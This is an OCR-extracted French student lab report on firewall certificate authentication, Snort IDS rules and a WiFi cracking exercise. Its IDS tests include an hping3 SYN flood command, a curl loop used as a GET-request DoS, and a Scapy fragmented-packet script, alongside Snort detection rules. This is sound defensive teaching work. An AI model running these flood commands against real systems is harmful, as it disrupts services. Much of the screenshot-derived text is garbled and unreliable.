
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

files

test.txt

226 Directory send OK.

ftp : 20 octets recus en 0.00 secondes a 20.00 Ko/s.
ftp> §

HTTPS sur DMZ Aet DMZ B :

o Apache2 Debian Default Page

~Ubuntu Logo

Apache2 Ubuntu Default Page

jont know what this page is about, this probably means
ance. If the problem persists, please contact the

fle. It puts the pleces together by Including all remaining

iguration fle. It Is used to determine the

La mise en place de HTTPS commence par I'acquisition d'un certificat SSL/TLS. Une fois le certificat obtenu, On I’installe sur
le serveur web, et la configuration du serveur est ajustée pour activer HTTPS. Cette configuration inclut la redirection du trafic
HTTP vers HTTPS pour assurer une navigation securisée. Le protocole TLS est alors utilisé pour chiffrer les données
échangeées entre le navigateur de l'utilisateur et le serveur, garantissant ainsi la confidentialité et I'intégrité des données.
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FTPS avec Filezilla avec le user test:tp :

W
-
-
- o
- o
[
-

CMS avec Wordpress :

Wordpress Login

Bienvenue sur notre site web !

Crée par :

A propos Confidentialité Réseaux sociaux

22
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Tache 4 Authentification transparent par certificat SSL (9 points)

Liste des personnes impliquées avec pourcentage de répartition
Bilal DAKHOUCHE 100 %

Estimation du temps passé sur cette tache en heure-homme : 24h

Objectif : Mettre en place une authentification transparente pour les utilisateurs

Les firewalls implémentent plusieurs méthodes d’authentification qui peuvent étre classées en deux
catégories :
e Les méthodes explicites via le portail captif : I'utilisateur est redirigé vers le portail captif pour
saisir un couple identifiant/mot de passe.
e Les méthodes implicites (transparentes) : I'authentification est transparente vis-a-vis de
I"utilisateur qui n’a pas besoin de saisir son couple identifiant/mot de passe explicitement pour
accéder au réseau.

Méthodes Méthodes d’authentification avec SNS

sans annuaire
[====== 1
| invités te.__ /\
. 1 Sea

| Parrainage I =4 Explicite via le portail captif Implicite (transparente)

-
-
e

P ¥ A
LDAP interne/externe Kerberos Radius
AD (LDAP externe ou AD) (LDAP externe ou AD)

Certificat SSL Spnego SSO
(LDAP interne/externe ou AD) (AD) (AD)
Méthodes
avec annuaire
Multi-utilisateurs avec la méthode cookie V
(Flux HTTP)
Sous-taches Evaluation prof

Création d’une autorité racine

Activer I'authentification par certificat SSL
Importez le certificat dans le navigateur
Testez votre configuration

Rapport

(Expliquez votre démarche, insérez les captures d’écran de votre configuration, de vos tests, etc.)
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La mise en place de I'authentification transparente par certificat SSL nécessite plusieurs services. Une
autorité racine doit étre créée, un annuaire LDAP permettra également de créer un utilisateur. Enfin, il
sera nécessaire de configurer la politique d’authentification pour ensuite ajouter une regle
d’authentification dans les parametres de filtrages.

La création de I'autorité racine se fait sans problemes, les informations entrées sont arbitraires (Nom,
Organisation, Lieu, etc...).

@ CONFIGURATION
Rechercher
@ TaBLEAU DE BORD
@ svsreue
& Réseal
® osETS
® Objets réseau
® Opets Web
@ Cenificats &t PKI
@ unLsaTEURS
& POLITIQUE DE SECURITE
@ PROTECTION APPLICATIVE
(@ ven

@ nomFicATIONS

 OBJETS RESEAU
A UTILISATEURS ETGROUPES

£ LOGS - JOURNAUX D'AUDIT

<
X @ CERTIFICATS ET PKI
EE Recherche:

g Lecture seule

@ Acces restreintaux logs

* (%] Filtre - Tous -
(i) SSL proxy defaull authority
(3 ssivpn-ful-getault-authorty
(1) Root-CA
(@ test
4 [ CA-Roat
@ authuserx
() Intemet Widgits Pty Ltd

+ | "3 Tekchargement -

CRL  CONFIGURATION

rappssation |

@ Verifier futilisation

Q96

2 Valigig

E

Expiration

& Emis pour

Il est maintenant possible de créer 'annuaire LDAP :

19/03/2024 15:32:06
24/03/2034 15:32:08

IC=FR/ST=Doubs/L=Montbéliard/O=IUT Nord Franche-Comté/OU=IUT Nord Franche-Comté/CN=CA-Root
GA-Root

IUT Nord Franche-Comté

IUT Nord Franche Comte

Montbéiard

Doubs.

FR

Scbefffd

IC=FR/ST=Doubs/L=Montbéliard/ O=IUT Nord Franche-Comt/OU=IUT Nord Franche-Comt/CN=CA-Root
CA-Root

Atz oo & amélorsr Fapgaeaton | Tésnarge: N Real

@ Lecturs seuls
§ Accés restreint aux logs
&«
T — CONFIGURATION DES ANNUAIRES
Rechercher. EE ANNUAIRES CONFIGURES (5 MAXIMUM)
@ TASLEAU DE B0RD . = Adion +
@ srsteme Domain name: Configuration
€ resEAU @ uetwn [¥] Activer l'utilisation de I'annuaire utilisateur
@ oBuETS Organisation T
® Onjets réseau Domaine: wb
e e |dentifiant en=NetasqAdmin
® Certiicats el PKI
Mot de passe
@ UnusaTEURS
Confimer
® Uisateurs
® Comples lemporaires
® Drofts daccés Accés au LDAF interne
® Authentifcation
[] Actrver raccés non chiffré (FLAIN)
® Emdiement
[7] Activer I'accés en SSL
® Conguration tes annuaires
POLITIQUE DE SECURITE
@) PROTECTION APPLICATIVE
@ ven < Configuration avancée
@ romnFicanions
£ OBJETS RESEAU +

A UTUSATEURSETGROUPES  +
[ LOGS - JOURNAUX D'AUDIT 4
L SUPERVISION +

& Annuer

99

P —
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La création de I'utilisateur permettra d’autoriser qu’un seul utilisateur a se connecter plutdt qu’autoriser
tous les utilisateurs. Il sera ensuite nécessaire de créer le certificat en se rendant dans I'onglet

« Certificat » puis « créer le certificat ». |l sera ensuite créé et sera téléchargeable depuis I'espace

« Certificats et PKI ».

096

ecture seule
& Accés restreint
Aldez aous 3 améliorec Fappication | Téticharez SW Real-Tins Mtor
@ UTILISATEURS a2
er EBEE Rechercher. S Tous » + + (%] ® Vérifier l'utiisation

AU DE BORD Cn

@ svsrene 'S musers 8 authuser-x (authuser-x)
e e e
REsE
@® osETS Droits d'accés
® Ooen oo Identifant (ogin). | authuser-x
® Objets Wed Nom authuserx
Prénom
@ Centificats et PKI
@ unusateurs E-mail authuser-x@cie-x net
® Utisateurs J€ehonc
Description:

® Comptes temporaires
® Droits daccés

® Authentification

® Enrdlement

® Configuration des annuaires
@ FoLITIQUE DE SECURITE
(© PROTECTIONAPPLICATIVE
v

@ NorFicaTions

£} OBJETS RESEAU
A UTILISATEURS ET GROUPES
) LOGS - JOURNAUX D'AUDIT

+ 4+ |+

Annuler
| SUPERVISION »

Enfin, on peut ajouter l'utilisateur a la liste des utilisateurs autorisés a se connecter au portail captif en
précisant la méthode d’authentification SSL. On précise aussi que la méthode d’authentification par
défaut est celle par certificat SSL et on supprime tout autre méthode d’authentification.

@ Lecture seule
& Accés restreint aux logs
«
R i Tt _ @ AUTHENTIFICATION g
Rechercher EE METHODES DISPONIBLES PORTAILGAPTIF  PROFILS DU PORTAIL GAPTIF

@ TasLEAU DE BORD Recherche par utiisateur #+ Nowelerégle - [ t : @ S|
SYsTEME EN Source Methodes (¢valuses par ordre) Commentaire

@ reseau 1 @A 4 aumuser-xgut twp| @yin [EAssL
® omueTs

® Objels réseau
® Objels Web

® Cericals et PKI

@ UTILISATEURS

® Utnsateurs
® Comptes temporaes + Méthode par aéfaut
- S Méthode & utiiser si aucune régle ne peul dtre (g3 ssL =

= appliquee:

® Enrdlement Objets multi-utilisateur

® Configuration des annuaires
Définissez les objets réseau autonsant plusieurs authentifications sur une méme adresse IP

POLITIQUE DE SECURITE Attention : |z méthode Agent SSO ne supporte pas Iauthentrfication multi-utiisateur.
(© FROTECTION APPLICATIVE Rechercher + Apuer 0
D ven Réseau

@ nomFicATIONS

£ OBJETS RESEAU &
L UTILISATEURS ETGROUPES 4
[E) LOGS - JOURNAUX D'AUDIT 4

] ® Annuler
|l SUPERVISION +
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Dans 'onglet « Portail Captif », on va spécifier I'interface ou le portail captif doit étre mis en place. Le
« profil » et la « méthode ou annuaire par défaut » se définissent automatiquement aprées avoir choisi

I'interface.

§ Lecty
cce: taux logs
% ez a0z 3 3métoar F3ppaestion | Tiéehargex SK Rk Tane Montor
I ooeRztmes o = @ AUTHENTIFICATION ()

o =TT R ——— PROFILS DUPORTAL CAPTE

@ sLEAU D BoRD .
Portail captif
@ svsreme
e CORRESPONDANCE ENTRE PROFIL D'AUTHENTIFICATION ET INTERFACE
RESEAU
+ Aouer @
@ osseTs
Intertace Pront Métnode ou annuare par cétaut

@ Ovjets réseau i Intemal Annuaire LDAP (iul fwb)

® Ogets Wen

® cenincats et PKI
@ unusateurs

® utiisateurs

® Comptes temporaires i

® Doits daccés I

® Autnentitcation

® Endlement

® Confguration des annuaires

@ roumaus e sEcURITE serveur sst.

© PROTECTION APPLICATIVE Certiicat (clé privée) Sélectionnez un certficat v x

@ ven

@ rovricAtions Conditions dutilisation de Faccés 3 Internet

OBJETS RESEAU
8 & Sélectionner les conditions d'utiisation d'accés & =
A UTILISATEURSETGROUPES 4 Internet au format HTML v
& LOGS - JOURNAUX D'AUDIT  +
An

| SUPERVISION + 38 Aowier

Dans I'onglet « Profils du Portail Captif », tout est paramétré automatiquement, on peut voir quel la

« méthode ou annuaire par défaut » a été défini sur « Annuaire LDAP », ceci signifie que I"annuaire que
nous avons créé sera utilisé pour rechercher les utilisateurs et les authentifier quand un utilisateur essaie
de s’authentifier sur une machine.

i s
§ Lecture seuie
§ Acces restreint aux logs
« rappacation | Télk
@ AUTHEHTRCATION 4

Rechercher. E @ METHODES DISPONIBLES POLITIGUE D'AUTHENTIFICATION PORTAIL CAPTIF PROFILS DU PORTAIL CAPTIF
@ TABLEAU DE BORD

Intemal v Renommer | @m -
@ svsreue

Authentification
& réSEAU
® osvETs Methode ou annuaire par défaut Annuaire LDAP (iut fwb) ~
® Objets réseau [ Activer le parrainage
® Objels Web
A et Conarmions cutiisation de Faceés & intermet
@ UTILISATEURS [7] Activer I'affichage des conditions d'utilisation d'acces & Intemet
@ Uiiisateurs
® Comples temporaires

‘Champs personnalisés du portail captif (méthode Invités uniquement)

@ Dioils daccés
® Aumentncaton
® Endlement
® Configuration des annuaires
& POLITIOUE DE SECURITE
© PROTECTION APPLICATIVE

Durees d"authentification autorisees.
B ven

-~ 3 =
@ roFicATIONs Durée minimale 0 < heure(s) |15 2 minute(s)
S OBJETS RESEAU + Durée maximale 4 2 heure(s) |0 2 minute(s)
X UTILISATEURSETGROUPES 4 Pour Fauthentification 4 2! heure(s) [0 2] minute(s) v
@ LOGS - JOURNAUX D'AUDIT 4
e ® Annuer

|& SUPERVISION +
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On peut a présent créer une régle d’authentification pour rediriger les utilisateurs sur celle-ci quand ils
accedent a un réseau. Ici, il est cohérent de choisir le réseau Internet pour destination car cela signifie
réseau externe. Donc lorsque I'utilisateur sortira du Firewall, il sera redirigé vers le portail captif pour se
connecter (si c’est la premiére fois) et pourra ensuite y accéder. On précise que la source est un
utilisateur inconnu du Firewall, cela signifie que s’il ne connait pas I'utilisateur, il le redirige sur la page
d’authentification. Cela s’applique par exemple pour une machine qui se connecte pour la premiére fois
au réseau. On a également précisé vers quelle interface on envoie le portail d’authentification
(network_internals = bridge et network_in).

0 g | TSI s T
o
Eater 1w |
oe s0RD
= @3 g 5 23 - =

@ resery [T o some Cestnston Ponaest - nspecton ae securte - Commentare
oaiers - @m - Potsidubenticston_E ko @ B et s @ et £ ®cs ol HOAE3.27 104893, i (2468145

wnusaTeuRs
e e
@ roumaue oe sécuriTé o @m 4 passer [l any B SRV_FTR_HTTE A ¥ e @es

¥ fpcat
® Fitrage kAT .
PR 3 @ o § posser any B SRR e A e s
® Fitrage SSL 4 @ @ 4 poaser Fomza =E DMZ_E B Ay @os
® Filiage SUTP s oo @on 8 oque Fomza aSLANA A Ges
5 @ o fep— p— sgLan A % 2 s
® Guaité do sevice & = 0 - Lo @
7= om — or™ B any Ban s e ke DUTLOL26 12,0555 p acmin (192 1681 45)

® Righs implcter
PROTECTION APPLICATIVE
B
NOTIFICATIONS
8 ORJETS RESEAU + Page (1 st 2 Page couranie 17 5 T
L UTIISATEURS £T GROUPES +
o SUPERVISION + % A

Une fois cela fait, les utilisateurs seront redirigés vers cette page d’authentification lorsqu’ils sortiront du
réseau. Il faut maintenant télécharger le certificat qui permettra d’authentifier I’utilisateur sur le réseau.
Pour cela, on clique sur « Téléchargement » au format P12 pour pouvoir ensuite 'importer dans le
navigateur de la machine a authentifier.

tior Papplesion

206

@ CONFIGURATION f @ CERTIFICATS ET PKI
Rechercher (=] ecnercne x [%] Fitre : Tous= . « | ™3 Télechargement~ | @ Vérifier futilisation
@& TABLEAU DE BORD (C3) SSL proxy default authority CRL  CONFIGURATION
@ cvsreue (1) ssivpn-full-defaull-authority
(3 Root-CA -
A rEsEAY O st ~. Valigné
® osETs 4 ) CA-Roat

® Onjets réseau @ auhuserx ) 1910312024 15:32:06
(0 Intemet wiagts Py Lia Expiration 241032034 15:32:06

® Opjets Web
® Certicars et PKI 2. Emis pour

@ UTILISATEURS
. IC=FRIST=Doubs/L=Montbéliard/O=IUT Nord Franche Comté/OU=IUT Nord Franche-Comi&/CN=CA-Root
& POLITIQUE DE SECURITE
CARoot
@ PROTECTION APPLICATIVE

IUT Nord Franche Comtg

@ ven 9 IUT Nord Franche-Comté
@ NOTIFICATIONS 1l Montbéhard

Doubs

R

Scbeffid

2, Emetteu

£ OBJETS RESEAU +
L UTLISATEURS ETGROUPES 4 IC=FRIST=Doubs/L=Montbéliard/O=IUT Nord Franche-Comte/OU=IUT Nord Franche-Comt&/CN=CA-Roat
£ LOGS - JOURNAUX DAUDIT 4 v CARost v

dmin.htmi#
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Authentification :

r Web Firefox

Fichier Edition Affichage Historique Marque-pages outils Alde

-
<

@ | @ Nouvel onglet x| +
- c Q 10011 N TR
e
Rt b Rl © hit;s/10.0.1 1/ — Consuiter
3 Pour cette fois-ci rechercheravec: & b @ = B w & 0O O @ €
=
? n
- Firefox
<]

o [l » a E v

YouTube Facebook Wikipedia Amazon leboncoin Twitter

Avant authentification, lorsque I’on essaie d’accéder au serveur web distant, on est redirigé sur la page

suivante :

Activ ® Navigateur Web Firefox
Fichier Edition Affichage Historigue Marque-pages Outils Aide
Y

x| .

@ | # AUTHENTIFICATION

« [¢] Q & https:/192.168.1.254/auth/2url=2WFURvaQye HIWc2 3pqSFrGBWQTpD PRI TBZA0NWEl48CmnsVWed 3wpnOSuXwhiXekeOz/A698PEeS6y280A=

4% STORMSHIELD

AUTHENTIFICATION

Veuillez vaus. authentifior 7

L Nouvel utilisateur
Pour demander un compte
de connarion
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Il faut donc entrer le nom de I'utilisateur. Si le navigateur est dépourvu du certificat SSL de I'utilisateur

spécifié, une erreur apparaitra. Dans le cas ou le bon certificat est entré, la page suivante apparait avec le
certificat a choisir :

Requéte dlidentification d'utilisateur

Ce site
192.168.1.254:443

Organisation : « Starmshield »

Emis en tant que : « Stormshield »

Chisir un certificat & présenter comme identification:

| authuser-x [00:80:04:5:94] v
Détalls du certificat sélectionné -

Emis pour net,Cl

Comté,0=IUT Nord Franche-Comté L=Montbéliard,ST=Doubs,C=FR
MNuméro de série : 00:B0:04:5E:9A

Valide du 27 mars 2024, 11:03:30 UTC+1 au 27 mars 2025, 11:03:30 UTC+1
wtilisations de la clé : Digital Signature,Non-Repudiation,Key
Encipherment ey Agreement

net, jexnet
Emis par : CN=CA-Roat, 0U=IUT Nerd Franche-Comté, G=1UT Nerd Franche-

e

de cette decision

Annuler

Une fois choisi, le certificat authentifie I'utilisateur et une autre page apparait. L'utilisateur est désormais
authentifié :

Fichier Edition Affichage Historique Marque-pages outils Alde

@ % AUTHENTIFICATION

x | & paramétres

x4+

W Copture dicraneffectue
Vous pauvez coller (image depus le presse-papiers.

« - o

O fh hetps//192.168.1

huser-xetie I onnexion

¥ STORMSHIELD

S SUCCES
auheniias, modhar vl
L] Nouvel utilisateur Authentification réussie
G Vous étes connecté
<) Données personnelies
» Gl
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On peut vérifier quel est I'utilisateur qui s’est authentifié en allant dans I'onglet « Données

personnelles » :

Fichier Edition Affichage Historique Marque-pages outils Alde

@ | # AUTHENTIFICATION x| 5 Paramétres P
« ¢ O fh hitps://192.168.1.254/auth/userinfo.html

4% STORMSHIEELD

Eenyenue authuserx Temps resiani- 359

DONNEES PERSONNELLES
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Tache 5 Mettre en place un IDS et le tester (13,5 points)

Liste des personnes impliquées avec pourcentage de répartition
Nicolas RABERGEAU 100 %

Estimation du temps passé sur cette tache en heure-homme : 16h

Objectif : Installation et configuration de Snort

Vous devrez étre capable de détecter les évenements suivants :
e Tentative de connexion SSH sur vos serveurs depuis I'extérieur
e Attaque DoS sur votre serveur Web avec des GET requests
e Détection des URIs non-normalisées
e Détection d’un login raté sur le serveur FTP
e Détection d’une attaque DoS avec TCP SYN
e Détection de paquets fragmentés de taille < 500 ou > 2000

Sous-taches Evaluation prof

Installation de Snort 100%

Création des regles 100%

Test des régles 100%
Rapport

(Expliquez votre démarche, le format d’une régle, écrivez vos régles, insérez les captures d’écran des
résultats de détection de Snort, etc.)

On avait eu un probléme de version de snort (2.7 a la place de 3.1) a cause de ¢a on a perdu du temps a
faire la réinstallation.

Tutorial d’installation utilisé :
https.//www.howtoforge.com/install-and-confiqure-snort-3-on-ubuntu-22-04/

34
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root@rt-fernandez: ~
Fichier Edition Affichage Rechercher Terminal ~Aide
GNU nano 4.8 /usr/local/etc/rules/local.rules

[ Read 45 lines
B¥E Get He 0 e 0 [~ ere K] o ] ~C Po
g M re o &\ Rre o B paste Te B To Spe n

@ 3 e 0@
Voici les regles manuelles qu’on a mis en place pour respecter chaque alerte dit.

I3 To B et MY Previo & B
&Y Where - WG & Fo

]
M-
M-

Voici un exemple pour comprendre la syntaxe de snort pour ensuite fabriquer les régles manuellement

Destination Address

Source Address
Destination Port

Protocol Source Port
Asxien Direction
[ I
alert tcp any 21 ->10.199.12.8 any (msg: “TCP Packet is detected”; Sid: 1000010
| JL ]
| |
Rule Header Rule Option

1. alert: Indique que cette regle doit déclencher une alerte lorsqu'elle est satisfaite, signalant ainsi
un événement suspect ou potentiellement malveillant.

2. tcp: Spécifie le protocole, indiquant que la régle s'applique au trafic utilisant ce protocole.

any: Indique que la valeur peut étre n'importe quelle adresse IP ou n'importe quel port.

4. 21: Le port source qui est utilisé par le protocole FTP cela signifie que la régle surveille le trafic FTP
entrant.

w

5. ->: Utilisé pour spécifier la direction du trafic, indiquant I'expéditeur et le destinataire du paquet.
6. msg: Définit le message associé a l'alerte qui sera générée lorsque la régle est satisfaite. Il fournit

une description de I'événement détecté.
7. sid: Chaque regle est associée a un identifiant de signature unique qui permet de référencer
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spécifiquement cette regle. Cela facilite l'identification et la gestion des alertes générées par le
systéme de détection d'intrusion.

Il existe aussi d’autre options comme :

alert tcp any any -> any 80 (
msg: "Detection DoS probable GET Requests";
http method;

content:"GET";
detection filter:track by src, count 50, seconds 10;
sid:100004;

1. http_method: Cette option permet de spécifier le type de méthode HTTP a surveiller. Ici, elle est
définie sur "GET", ce qui signifie que seules les requétes HTTP GET seront surveillées.

2. content: Cela spécifie le contenu a rechercher dans le trafic réseau. Dans ce cas, il s'agit
simplement de "GET", indiquant que la régle se déclenchera si une requéte HTTP GET est détectée.

3. detection_filter: Cette option permet de filtrer les alertes pour éviter les faux positifs. Dans cette
régle, elle utilise track by_src pour suivre les sources d'attaques potentielles, count 50 pour
déclencher l'alerte si 50 occurrences de requétes GET sont observées en 10 secondes.

Ou bien I'option fragoffset qui détecte une fragmentation supérieure ou inférieure a la valeur fournie.

Pour les tests on a pris un client dans le Réseau B Interne qui va traverser le Réseau Externe (c’est la ou les
paquets vont étre detecté) pour enfin communiquer avec le Serveur WEB/FTP du Réseau A

Client B (192.168.2.1)

Serveur A (87.10.10.1) (Interface Virtuelle)

IDS (87.10.10.100)
. . . N ]DS
Pour le faire marcher depuis un client on a di INA IN_B
mettre en place du port mirroring grdce aux OUT A Sh
commandes suivantes : (Cienta]  (oMzp) —=s VR

|Serveur Web A | Serveur [Acces WiFi ] [Serveur Web B)

FTP A

_'#I ion 1 |:|
g #monitor 1] =t r|-4’r1ur| 1r|1'n-r 1"=u:: ;

=] Terminal
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On a défini que tous les port GigaEthernet sauf le port 8 du switch passe par le IDS (dernier commande)
(port gigabitEthernet8 = IDS)

e Tentative de connexion SSH sur vos serveurs depuis I'extérieur

root@rt-fernandez: - - -0
Fichier Edition Affichage Rechercher Terminal ~Aide
fast pattern groups
any:
to_server:
to_client

search engine (ac bnfa)
instances:
patterns
pattern chars
num states:
num match states:
memory scale:
total memory:
pattern memory:
match list memory:
transition memory
fast pattern only: 3
appid: MaxRss diff: 3348
appid: patterns loaded:

pcap DAQ configured to passive.
Commencing packet processing

o

.521140 [: 02:0] "Tentative de connexion SSH depuis 1'extérieur [Priority:
.521170 | & &) Tentative de connexion SSH depuis 1'extérieu [Priority
.522773 [1: "Tentative de connexion SSH depuis 1'extérieur" [Priority:
.522810 [1:100002: Tentative de connexion SSH depuis 1'extérieu [Priority:
.522813 [1: Tentative de connexion SSH depuis 1'extérieur [Priority:
.522816 [1: : Tentative de connexion SSH depuis 1'extérieur [Priority:
.544865 [1: 002: Tentative de connexion SSH depuis 1'extérieu [Priority:
.544089 [1: Tentative de connexion SSH depuis 1'extérieur” [Priority:
.544752 | [1: 02: Tentative de connexion SSH depuis 1'extérieur [Priority:
.544756 [x: . Tentative de connexion SSH depuis 1'extérieur" [Priority:
.545704 [1: : Tentative de connexion SSH depuis 1'extérieur" [Priority:
.545727 [1: H Tentative de connexion SSH depuis 1'extérieur [Priority:
.552831 [1: : Tentative de connexion SSH depuis 1'extérieur [Priority:
.608577 [1: : Tentative de connexion SSH depuis ér. [ [Priority:
.600611 1: : Tentative de connexion SSH depuis L [Priority:
.594226 [1: Tentative de connexion SSH depuis érie [Priority:
.696001 [1: 0 Tentative de connexion SSH depuis y [Priority:
698146 [1: 0 Tentative de connexion SSH depuis 1'extérieur [Priority
.698172 [1: Tentative de connexion SSH depuis 1'extérieu [Priority

[1: o Tentative de connexion SSH depuis 1 térieur" [Priority:
.714531 [1: % Tentative de connexion SSH depuis 1'extérieu [Priority:

8.714545 [1: :0] "Tentative de connexion SSH depuis 1'extérieu [Priority:
.714551 [1: . Tentative de connexion SSH depuis 1'extérieu [Priority
.719535 [1: : Tentative de connexion SSH depuis 1'extérieu [Priorit
.719554 i3 23 Tentative de connexion SSH depuis 1'extérieu [Priority:
.769582 [1:100002 Tentative de connexion SSH depuis 1'extérieur [Priority:
.769615 [1:100002:0] “Tentative de connexion SSH depuis 1'extérieur” [Priority:

N

N

N

Y

N
NRNRNRNNRN RN RN NN NN NN NN NN N S

3

N

Sur Client B :

root@rt# ssh 87.10.10.1

e Script Attaque DoS sur le serveur Web avec des GET requests
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rook@rt-fernandez: ~ - =

Fichier Edition  Affichage Rechercher Terminal ~Aide

(=) :100004: "Detection probable GET Requests" [Priority: .10.160. 133376

[**]1 :100004: “Detection probable GET Requests"

[**]1 1100004 : “Detection probable GET Requests"

03/29-10:49:36. 899492 [**1 :100004: "Detection probable GET Requests”

03/29- 11 6.918471 [**] 1100004 : “Detection probable GET Requests"

03/29- 11 6.933974 [**] 1100004 : “Detection probable GET Requests"
6.952997

[Priority: .10.10. 133384

[Priority: .10.10. 133394

[Priority: .10.10. 133406

[Priority: .10.10. 133418

[Priority: .10.10. 133428

03/29- 1 5 [55]) 11600004 : "Detection probable GET Requests” [Priority: .10.10. 133436
03/29-10:49:36.967946 [**] 1100004 : “Detection probable GET Requests™ [Priority: .10.10. 133452
03/29-10:49:36.989471 [**] 1100004 : “Detection probable GET Requests™ [Priority: .10.10. 133454
©3/29- 11 .005961 [**] 1100004 : “Detection probable GET Requests™ [Prlorlty: .10.10. 133470
03/29- 1 1021992 [**] 1100004 "Detection probable GET Requests” [ 133484
03/29- 1 .039450 [**] 1100004 "Detection probable GET Requests” [ .10.10. 133486
03/29-10:49:37.054975 [**] 1100004 "Detection probable GET Requests” [Priority: .10.10. 133494
©3/29- 11 .071457 [**] :100004: "Detection probable GET Requests" [Priority: .10.10. 133510
©3/29- 11 .086953 [**] :100004: "Detection probable GET Requests" [Priority: .10.10. 133524
©3/29- 11 .104947 [**] :100004: "Detection probable GET Requests" 1 [Priority: .10.10. 133538
03/29-10:49:37.119404 [**] 1100004 : "Detection probable GET Requests" [Priority: .10.10. 133546
©3/29- 1 .137916 [**] :100004: "Detection probable GET Requests" [Priority: .10.10. :33558
03/29- 1 .151969 [**] :100004: "Detection probable GET Requests" [Priority: .10.10. 133574
03/29- 1 .169954 [**] :100004: "Detection probable GET Requests" [Priority: .10.10. 133588
©3/29-1 .183462 [**] :100004: "Detection probable GET Requests" [Priority: .10.10. 144916
03/29-1 .205479 [**] :100004: "Detection probable GET Requests" [Priority: .10.10. 144930
03/29-1 .222001 [**] :100004: "Detection probable GET Requests" [Priority: .10.10. 144946
.238967 [**] :100004: "Detection probable GET Requests" [Priority: 0 .10.160. 144952
.255538 [**] :100004: "Detection probable GET Requests" [Priority: .10.160. 144960
1271448 [**] :100004: “Detection probable GET Requests" 1 [Priority: .10.10. 144972
.289428 [**] 1100004 : “Detection probable GET Requests" [Priority: .10.10. 144980
.303478 [**] 1100004 : “Detection probable GET Requests" [Priority: .10.10. 144990
.320934 [**] 1100004 : “Detection probable GET Requests" [Priority: .10.10. 145006
.335463 [**] 1100004 : “Detection probable GET Requests" [Priority: .10.10. 145018
.353551 [**] 1100004 : “Detection probable GET Requests" [Priority: .10.10. 145030
.367510 [**] 1100004 : “Detection probable GET Requests™ [Priority: .10.10. 145032
.383483 [**] 1100004 : “Detection probable GET Requests™ [Priority: .10.10. 145036
.397472 [**] 1100004 : “Detection probable GET Requests™ [Priority: .10.10. 145048
.418964 [**] :100004: “Detection probable GET Requests™ [Priority: .10.10. 145050
.434459 [**] 1100004 "Detection probable GET Requests” [Priority: .10.10. 145062
L451479 [**] 1100004 "Detection probable GET Requests” [Priority: .10.10. 145070
.466996 [**] 1100004 : "Detection probable GET Requests" [Priority: .10.10. 145086
L483447 [**] 1100004 : "Detection probable GET Requests" [Priority: .10.10. 145088
.4990458 [**] 1100004 : "Detection probable GET Requests" [Priority: .10.10. 145098
.515468 [**] 1100004 : "Detection probable GET Requests" [Priority: .10.10. 145100
[**] 1100004 : "Detection probable GET Requests" [Priority: .10.10. 145104

[**] :100004: "Detection probable GET Requests" [Priority: .10.10. 145108

[**] :100004: "Detection probable GET Requests" [Priority: .10.10. 145116

[**] :100004: "Detection probable GET Requests" [Priority: .10.10. 145128

[**] :100004: "Detection probable GET Requests" [Priority: .10.10. 145136

[**] :100004: "Detection probable GET Requests" [Priority: .10.10. 145152

[**] :100004: "Detection probable GET Requests" [Priority: .10.160. 145166

[**] :100004: "Detection probable GET Requests" [Priority: .10.160. 145172

[**] :100004: “Detection probable GET Requests" 1 [Priority: .10.10. 145176

Edition Affichage Rechercher Terminal

nano 4.8

Fichier

GNU

i=0; i-=100000; i++

curl "http://87.10.10.1"

Un script bash sur le client B qui fais la requéte GET en boucles sur le serveur web A
e Détection d’un login raté sur le serveur FTP

Fichier Edition Affichage Rechercher Terminal Aide
root@rt-mobl6:~# 1s

get.sh

root@rt-mobl6:-# ftp 87.10.10.1
Connected to 87.10.10.1.

220 Welcome to blah FTP service.

Name (87.10.10.1:rt): d

530 Non-anonymous sessions must use encryption.

Login failed.

421 Sirv1ce not available, remote server has closed connection
ftp>
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root@rt-fernandez: ~ -

Fichier Edition Affichage Rechercher Terminal ~Aide
Finished rule args:

id loaded shared enabled
215 0 2

rule counts
total rules loaded:
text rul
option chail
chain headers:

le counts
tcp udp

to-srv to-cli
208

search engine (ac_bnfa)
instances:
patter
pattern cha
num stat
num match stat
memory sca
total memo
pattern memo
match list memo
transition memo
fast pattern only
id: MaxRss diff: 3348
patterns loaded: 300

pcap DAQ configured to pa

[Commencing packet processing

++ [0] enpls®

03/29-10:46:56.709488 [**] [1:100003:0] "Tentative de login raté sur le serveur FTP" [**] [Priority: @] {TCP} 87.10.10.1:21 -> 87.10.10.129:58806

OB @[ < 4 B 107

e Détection des URIs non-normalisées

Sur Client B :

root@rt-mob16: ~
Fichier Edition Affichage Rechercher Terminal Aide

root@rt-mobl6:~# curl 87.10.10.1/admin

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1l>Not Found</hl>

<p>The requested URL was not found on this server.</p>

<hr>

<address>Apache/2.4.38 (Debian) Server at 87.10.10.1 Port 80</address>
</body></html>

root@rt-mobl6:~# D

e Commande mis sur le client pour tester le fonctionnement de DoS TCP SYN :
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root@rt# hping3 -S --flood 87.10.10.1

e Détection de paquets fragmentés de taille < 200 ou > 1000

Applications Emplacements Systeme (=]
Terminal
Fichier ~Editer Affichage Rechercher Terminal Aide
GNU nano 3.2

Eﬂow scapy.all import *

pkt = IP(dst="87.10.10.1")/ICMP()/("X"*3000)

frag pkt = fragment(pkt, fragsize=1400)

send(frag pkt)

Ce script Python utilise le module Scapy pour créer et envoyer un paquet ICMP (ping). Ensuite, il
fragmente ce paquet en plusieurs parties avant de I'envoyer sur le réseau. La taille de fragmentation est
définie par la variable fragsize, qui dans la capture d'écran est réglée a 1400. Du coup, la regle qui sera
déclenchée est celle qui détecte une fragmentation supérieure a 1000 octets.
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Tache 6 Attaque sur le Wifi (4,5 points)

Liste des personnes impliquées avec pourcentage de répartition
Fatih KURUL 100 %

Estimation du temps passé sur cette tache en heure-homme : 15h

Objectif : Mettre en place des attaques sur le WEP et sur le WPA avec une Linksys puis avec un SNS

Sous-taches Evaluation prof
Mise en place du WEP sur Linksys

Cassage de la clé WEP sur Linksys

Mise en place du WPA sur Linksys

Cassage du WPA sur Linksys

Mise en place du WEP sur Stormshield SNS
Cassage de la clé WEP sur Stormshield SNS
Mise en place du WPA sur Stormshield SNS
Cassage du WPA sur Stormshield SNS

Rapport

(Expliquez votre démarche, le fonctionnement de WEP et de WPA, le principe mis en place par le cracker,
etc.)
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Attaque WEP

Tout d’abord on met en place de WEP sur la borne linksys pour cela :

TeE FEERERID

Setup Wireless Services Security Access Restricions NAT | QoS Administration Status
